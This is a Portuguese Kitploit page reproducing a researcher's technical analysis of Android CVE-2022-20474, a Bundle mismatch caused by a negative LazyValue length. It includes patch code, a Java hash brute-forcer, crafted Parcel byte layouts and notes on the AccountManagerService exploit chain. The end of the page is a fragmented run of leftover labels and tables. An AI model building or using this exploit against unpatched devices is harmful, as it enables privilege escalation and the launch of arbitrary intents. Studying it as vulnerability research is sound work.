Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-20474 — Análise técnica detalhada e prova de conceito para o Android CVE-2022-20474, uma vulnerabilidade de incompatibilidade de Bundle que explora LazyValue com comprimento negativo para alcançar comportamento de Bundle auto-modificável. | Kitploit
Ferramentas/GitHubGitHub/cxxsheng/cve-2022-20474
Segurança AndroidAnálise de VulnerabilidadesExploraçãoPapers e PesquisaAprendizado e EducaçãoExploração de Binários
GitHubcxxsheng/cve-2022-20474

CVE-2022-20474

Análise técnica detalhada e prova de conceito para o Android CVE-2022-20474, uma vulnerabilidade de incompatibilidade de Bundle que explora LazyValue com comprimento negativo para alcançar comportamento de Bundle auto-modificável.

Ver Repositório
2011há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Análise do CVE-2022-20474 - Bundle auto-alterável sob LazyValue

Prefácio

Nota importante: antes de ler este artigo, você deve ter uma compreensão básica das vulnerabilidades relacionadas a Bundle Mismatch. Se ainda não leu os seguintes materiais de referência, é recomendável lê-los primeiro:

  1. Bundle Feng Shui - Explicação detalhada da incompatibilidade entre serialização e desserialização no Android: Tutorial clássico de nível introdutório.
  2. História de ataque e defesa de vulnerabilidades de desserialização no Android: Excelente artigo de resumo.
  3. TheLastBundleMismatch: Primeiro artigo sobre Bundle Mismatch no modo LazyValue.

Contexto

Recentemente, estava estudando detalhadamente o artigo LeakValue de michalbednarski. Ao discutir com Canyie, ele mencionou que neste artigo também é mencionada uma situação de Bundle auto-alterável no cenário LazyValue. Então fui procurar o texto original e, de fato, havia esse trecho, que eu tinha pulado ao ler o artigo de Michal. O original dizia o seguinte:

(Also LazyValue with negative length specified can be used (without using other bugs described in this writeup) to create self-changing Bundle, the thing LazyValue was created to eliminate. But that is another story (and separately reported to Google), in this exploit I'm aiming for more)

Michal provavelmente se refere ao CVE-2022-20474 (boletim, patch). Dei uma olhada no patch, mas a função no link do patch não estava completa. Após completá-la, examinei com mais cuidado:

root@kitploit:~
@@ -4388,6 +4388,9 @@
    public Object readLazyValue(@Nullable ClassLoader loader) {
         int start = dataPosition();
         int type = readInt();
         if (isLengthPrefixed(type)) {
             int objectLength = readInt();
+            if (objectLength < 0) {
+                return null;
+            }
             int end = MathUtils.addOrThrow(dataPosition(), objectLength);
             int valueLength = end - start;
             setDataPosition(end);
             return new LazyValue(this, start, valueLength, type, loader);
         } else {
            return readValue(type, loader, /* clazz */ null);
         }
    }             

O objectLength no código é o length no LazyValue. Na verdade, este é apenas o comprimento do objeto variável contido no LazyValue, enquanto o comprimento total do LazyValue é controlado pelo campo mLength, ou seja, valueLength no código, que é passado para mLength no construtor do LazyValue.

Vamos comparar com o formato de layout do LazyValue:

root@kitploit:~
       /**
         *                      |   4B   |   4B   |
         * mSource = Parcel{... |  type  | length | object | ...}
         *                      a        b        c        d
         * length = d - c
         * mPosition = a
         * mLength = d - a
         */

Com base no conteúdo acima, podemos obter os seguintes fatos:

  1. mLength representa o comprimento total do LazyValue, mLength = objectLength + 8 bytes.
  2. objectLength deve ser maior ou igual a 0.
  3. O objeto LazyValue armazena apenas mLength, não objectLength, porque a cópia de memória do LazyValue é baseada na cópia de todo o objeto.
  4. Após a leitura, o ponteiro é avançado, e pode-se ler o LazyValue novamente.

Então, depois de muita reflexão, concordamos que esses fatos NÃO SERVEM PARA NADA! Porque, com base nos fatos acima, só é possível modificar uma vez durante a leitura, e sabemos que a ideia central do Bundle auto-alterável é modificar após a leitura para contornar as verificações de segurança.

Quando estávamos prestes a desistir, de repente notamos alguns detalhes na descrição do patch:

Addresses a security vulnerability where a (-8) length object would cause dataPosition to be reset back to the statt of the value, and be re-read again.

objectLength anormal

Ele menciona que quando objectLength é -8, existem alguns problemas, o que nos deu algumas dicas extras. Neste ponto, o LazyValue ainda consegue aplicar normalmente?

root@kitploit:~
        @Override
        public Object apply(@Nullable Class<?> clazz, @Nullable Class<?>[] itemTypes) {
            Parcel source = mSource;
            if (source != null) {
                synchronized (source) {
                    // Check mSource != null guarantees callers won't ever see different objects.
                    if (mSource != null) {
                        int restore = source.dataPosition();
                        try {
                            source.setDataPosition(mPosition);
                            mObject = source.readValue(mLoader, clazz, itemTypes);
                        } finally {
                            source.setDataPosition(restore);
                        }
                        mSource = null;
                    }
                }
            }
            return mObject;
        }

  	/**
     * @see #readValue(int, ClassLoader, Class, Class[])
     */
    @Nullable
    private <T> T readValue(@Nullable ClassLoader loader, @Nullable Class<T> clazz,
            @Nullable Class<?>... itemTypes) {
        int type = readInt();
        final T object;
        if (isLengthPrefixed(type)) {
            int length = readInt();
            int start = dataPosition();
            object = readValue(type, loader, clazz, itemTypes);
            int actual = dataPosition() - start;
            if (actual != length) {
                Slog.wtfStack(TAG,
                        "Unparcelling of " + object + " of type " + Parcel.valueTypeToString(type)
                                + "  consumed " + actual + " bytes, but " + length + " expected.");
            }
        } else {
            object = readValue(type, loader, clazz, itemTypes);
        }
        return object;
    }

Pode-se ver que o readValue real começa a ler a partir de mPosition, depois lê LazyType e objectLength em sequência, e então entra no fluxo normal de leitura de Value. Por exemplo, Parcelable precisa ler ClassName e depois executar createFromParcel. Após a leitura, não há diferença de um Key-Value comum, e não afeta a serialização subsequente. Relembrando: a ideia central do Bundle auto-alterável é modificar após a leitura; isso aqui é apenas uma leitura fora dos limites comum. Parece que esse caminho não funciona.

E se o LazyValue não for apply durante esse processo? Ou seja, se ele continuar participando do IPC como LazyValue, então sua função writeToParcel será chamada:

root@kitploit:~
     public void writeToParcel(Parcel out) {
            Parcel source = mSource;
            if (source != null) {
                synchronized (source) {
                    if (mSource != null) {
                        out.appendFrom(source, mPosition, mLength);
                        return;
                    }
                }
            }
            out.writeValue(mObject);
        }

Todo o LazyValue é copiado diretamente, a menos que mLength = 0. Espera! Mencionamos acima que mLength = objectLength + 8 bytes, e pelas informações do patch sabemos que para desencadear a vulnerabilidade, objectLength deve ser -8, então mLength = 0 é válido. Em outras palavras, neste cenário, todo o LazyValue simplesmente desaparece, apenas a String Key é copiada, resultando em uma escrita ausente, e a condição de Bundle auto-alterável é diretamente satisfeita.

Sabendo a causa, podemos começar a reproduzir, mas antes disso, precisamos de mais alguns detalhes.

Detalhe 1: Dois tipos de Bundle

root@kitploit:~
 static final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L'
 private static final int BUNDLE_MAGIC_NATIVE = 0x4C444E44; // 'B' 'N' 'D' 'N'

Todos sabemos que o layout de memória do Bundle é aproximadamente o seguinte:

root@kitploit:~
       /**
         *        |   4B   |   4B   |   4B   |
         * Bundle{| length |  MAGIC |  size  | Key  | Value | Key  | Value | ...}
         *
         */

MAGIC é o número mágico do Bundle no layout de memória, podendo ser BUNDLE_MAGIC ou BUNDLE_MAGIC_NATIVE. A diferença mais importante é que BUNDLE_MAGIC faz com que os Key-Value sejam reordenados após a desserialização, como mostra o código a seguir:

root@kitploit:~
 /**
     * Reads a map into {@code map}.
     *
     * @param sorted Whether the keys are sorted by their hashes, if so we use an optimized path.
     * @param lazy   Whether to populate the map with lazy {@link Function} objects for
     *               length-prefixed values. See {@link Parcel#readLazyValue(ClassLoader)} for more
     *               details.
     * @return a count of the lazy values in the map
     * @hide
     */
    int readArrayMap(ArrayMap<? super String, Object> map, int size, boolean sorted,
            boolean lazy, @Nullable ClassLoader loader) {
        int lazyValues = 0;
        while (size > 0) {
            String key = readString();
            Object value = (lazy) ? readLazyValue(loader) : readValue(loader);
            if (value instanceof LazyValue) {
                lazyValues++;
            }
            if (sorted) {
                map.append(key, value);
            } else {
                map.put(key, value);
            }
            size--;
        }
        if (sorted) {
            map.validate();
        }
        return lazyValues;
    }

O sinalizador MAGIC afeta o valor de sorted em readArrayMap, desencadeando a ordenação do mapa. Os comentários também mencionam que a ordenação é feita pelo valor hash da key String.

Detalhe 2: Overlap na desserialização

root@kitploit:~
   /**
     *                 a
     * ArrayMap{| Key1 | LazyValue1 | FakeKey2 | Value2 | Key3  | Value3 |} 
     *
     */

Vamos imaginar novamente o fluxo de análise do ArrayMap. Na primeira rodada de análise, primeiro analisamos Key1, depois tentamos analisar LazyValue1. Mas o objectLength de LazyValue1 é -8, então o ponteiro do parcel retorna ao início de LazyValue1, ou seja, ponto a. Isso é o que foi mencionado no Fato 4 acima. Agora, o primeiro Key-Map já foi analisado. O segundo Key-Value começa a ser analisado a partir do ponto a. Neste momento, primeiro será lido o comprimento da String. Supondo que LazyValue1 contenha um Parcelable, então esse comprimento deve ser 4. Portanto, o verdadeiro Key2 começa a partir do ponto a, ou seja, = + . não contém dados, então seu comprimento é de 8 bytes ( + ). O comprimento total da é 4 (identificador de comprimento) + 4 * 2 + 4 ("\0") = 16 bytes. Subtraindo os 8 bytes do , precisamos complementar mais 8 bytes na construção, ou seja, 2 . Em seguida, lemos . Portanto, na primeira análise, precisamos usar um para lidar com o problema de avanço do ponteiro causado pela leitura de um com negativo, e o valor desse não nos importa, pois ele só é usado na primeira análise, sendo apenas um . Já que é um cobaia descartável, esperamos que após a primeira análise ele fique longe dos nossos dados críticos, e que o contenha nossos dados maliciosos. É melhor que o valor hash de seja maior que o de , para que não afete as análises subsequentes. Através do , podemos ajustar o valor hash de para atingir esse objetivo, o que será detalhado no . Em seguida, entramos na análise de . No Bundle mismatch, como de costume, colocamos um malicioso em contendo o malicioso, mas tem algumas restrições adicionais. Após a primeira rodada de desserialização, o layout do deve ser assim: o cobaia fica no final:

root@kitploit:~
Key1-Value1 | Key3-Value3 | Key2-Value2

Como mencionado em objectLength anormal, o comprimento de LazyValue1 é 0, então durante writeToParcel, ele simplesmente não é copiado! O layout real é:

root@kitploit:~
Key1 | Key3-Value3 | Key2-Value2

Após a leitura de Key1, ainda há necessidade de ler Value1, e aqui ocorre novamente a leitura fora dos limites. Key3 precisa assumir a responsabilidade de ler o LazyValue1. O primeiro int em Key3 deve desempenhar o papel de comprimento de String e também o papel de Type do LazyValue, o que significa que o comprimento de Key3 não pode ser muito curto, senão o hash fica difícil de calcular. Olhando a lista de LazyValue Type, escolhi:

root@kitploit:~
private static final int VAL_LIST  = 11; // length-prefixed

Claro, você também pode escolher 12, 16, 17, desde que não seja muito curto.

O segundo int de Key3 também precisa atuar como Length do LazyValue. Através dele, podemos controlar o comprimento de LazyValue1, apontando o próximo ponteiro para o início do Intent malicioso. Você diria que o conteúdo de LazyValue1 não é válido? Isso não é problema meu, desde que você não chame getXXX para apply nele, ele sempre será um LazyValue.

Detalhe 3: Implementação do gerador de ruptura

Basta escrever um gerador de ruptura:

root@kitploit:~
private static Pair<Integer, Integer> generateInt(){
        while (true) {
            Random random = new Random();
            int number1 = random.nextInt();
            int number2 = random.nextInt();
            Parcel parcel = Parcel.obtain();
            parcel.writeInt(11); //
            parcel.writeInt(32);
            parcel.writeInt(0);
            parcel.writeInt(0);
            parcel.writeInt(number1);
            parcel.writeInt(number2);
            parcel.writeInt(0);
            parcel.setDataPosition(0);
            String str = parcel.readString();
            if (str.hashCode() >= "Cxxsheng".hashCode() && str.hashCode() <  "Cxxsheng".hashCode() + 1000000)
            {
                parcel.recycle();
                return new Pair<>(number1, number2);
            }
            parcel.recycle();
        }

Claro, também podemos forçar a ruptura de Key2 e ajustá-lo para a frente, mas o comprimento de Key2 é fixo em 4, é mais curto, com menos espaço de manobra, enquanto Key3 já reservamos algum espaço acima, facilitando a ruptura. Supondo que nosso Key1 seja a string "Cxxsheng", queremos controlar o valor hash de Key3 para que seja maior que o hash de "Cxxsheng", mas apenas um pouco maior. Defini 1.000.000, para que haja uma grande probabilidade de eles ficarem sempre juntos, e o terceiro Key2 não consiga interferir. Como mencionado acima, os dois primeiros int da string são fixos. Portanto, primeiro escrevemos VAL_LIST (que também é o comprimento da String), calculamos que faltam 32 bytes para o Intent malicioso, e os zeros restantes podem ser usados para ruptura. Escolha 2 deles arbitrariamente para ruptura.

Reprodução

Podemos usar number1 e number2 para controlar a ordenação do terceiro valor no ArrayMap. Como o ArrayMap ordena pelo hashcode da key, podemos fazer com que o terceiro valor se torne o segundo após a desserialização, ficando logo após o primeiro "Cxxsheng", conforme abaixo:

root@kitploit:~
Bundle[{Cxxsheng=Supplier{VAL_PARCELABLE@28+0},[um monte de lixo]=[ByteArray malicioso], [um monte de lixo]=0}]

Podemos observar que a ordem de leitura também será diferente da ordem de escrita. Após a conclusão da escrita, conforme analisado acima, todo o LazyValue foi descartado, e o terceiro Key-Value é reordenado para a segunda posição, incluindo type e objectLength. Portanto, o layout da página se torna o seguinte:

Exploração

O leitor pode usar a clássica cadeia de exploração AccountManagerService por conta própria. Não vou me alongar sobre se é possível explorar com sucesso, pois depende se a função checkKeyIntentParceledCorrectly estava presente no patch de novembro de 2022. Aqui explico adicionalmente: essa função utiliza o fluxo de chamada IPC simulado para bloquear a cadeia de exploração do AccountManagerService. Portanto, mesmo que exista Mismatch no Android 12 ou 13, pode não ser possível explorar com sucesso; é necessário encontrar uma forma de contornar essa função.

Podemos simular essa função para imitar o fluxo de chamada IPC conforme abaixo:

root@kitploit:~
    private Bundle simulateIPCBundle(Bundle originBundle){
        Parcel p = Parcel.obtain();
        p.writeBundle(originBundle);
        p.setDataPosition(0);
        byte[] bs = p.marshall(); // durante o debug, você pode ver os dados do parcel aqui
        // marshall não altera o ponteiro do Parcel
        // p.setDataPosition(0); 
        Bundle simulateBundle = p.readBundle(getClass().getClassLoader());
        p.recycle();
        return simulateBundle;
    }

Depois, aprecie a saída do log simulando o fluxo de chamada IPC. Consulte meu código no GitHub para detalhes: description

Baixar ferramenta
Key2
LazyValue1
FakeKey2
LazyValue1
LazyType
objectLength
string
LazyValue1
writeInt
Value2
Key2-Value2
LazyValue1
objectLength
Key2-Value2
cobaia
Key3-Value3
Key2
Key1
Detalhe 1
Key3
Detalhe 3
Key2-Value2
ByteArray
Value3
Intent
Key3
ArrayMap
Key2-Value2
ValorDescrição
"Cxxsheng"Primeira chave
4Será lido em duas rodadas: na primeira rodada representa VAL_PARCELABLE; na segunda, torna-se o comprimento da String da segunda chave
-8Será lido em duas rodadas: na primeira representa objectLength do LazyValue, fazendo o ponteiro de leitura retroceder, causando duas leituras; na segunda, torna-se o valor String da segunda chave
0Valor String da segunda chave
0Valor String da segunda chave
1VAL_INTEGER
0Segundo valor
11Comprimento da String da terceira chave
32Valor String da terceira chave
0Valor String da terceira chave
0Valor String da terceira chave
number1Valor String da terceira chave, esses dois valores são usados para ajustar a ordenação
number2Valor String da terceira chave, esses dois valores são usados para ajustar a ordenação
0Valor String da terceira chave
13VAL_BYTEARRAY
Comprimento do LazyValueCalculado
Comprimento do ByteArrayCalculado
ByteArrayContém o par Key-Value malicioso, ou seja, Intent.EXTRA_INTENT e seu Intent
ValorDescrição
"Cxxsheng"Primeira chave
11VAL_LIST
32Comprimento do primeiro valor. A validade do restante já não importa (nunca será aplicado o LazyValue), aponta diretamente para o início do Intent malicioso no ByteArray
0Valor dentro do LazyValue
0Valor dentro do LazyValue
number1Valor dentro do LazyValue
number2Valor dentro do LazyValue
0Valor dentro do LazyValue
13Valor dentro do LazyValue
Comprimento do LazyValueValor dentro do LazyValue
Comprimento do ByteArrayValor dentro do LazyValue
Início do ByteArray / Intent.EXTRA_INTENTSegunda chave
IntentSegundo valor
Terceiro Key-ValueFoi reposicionado para o final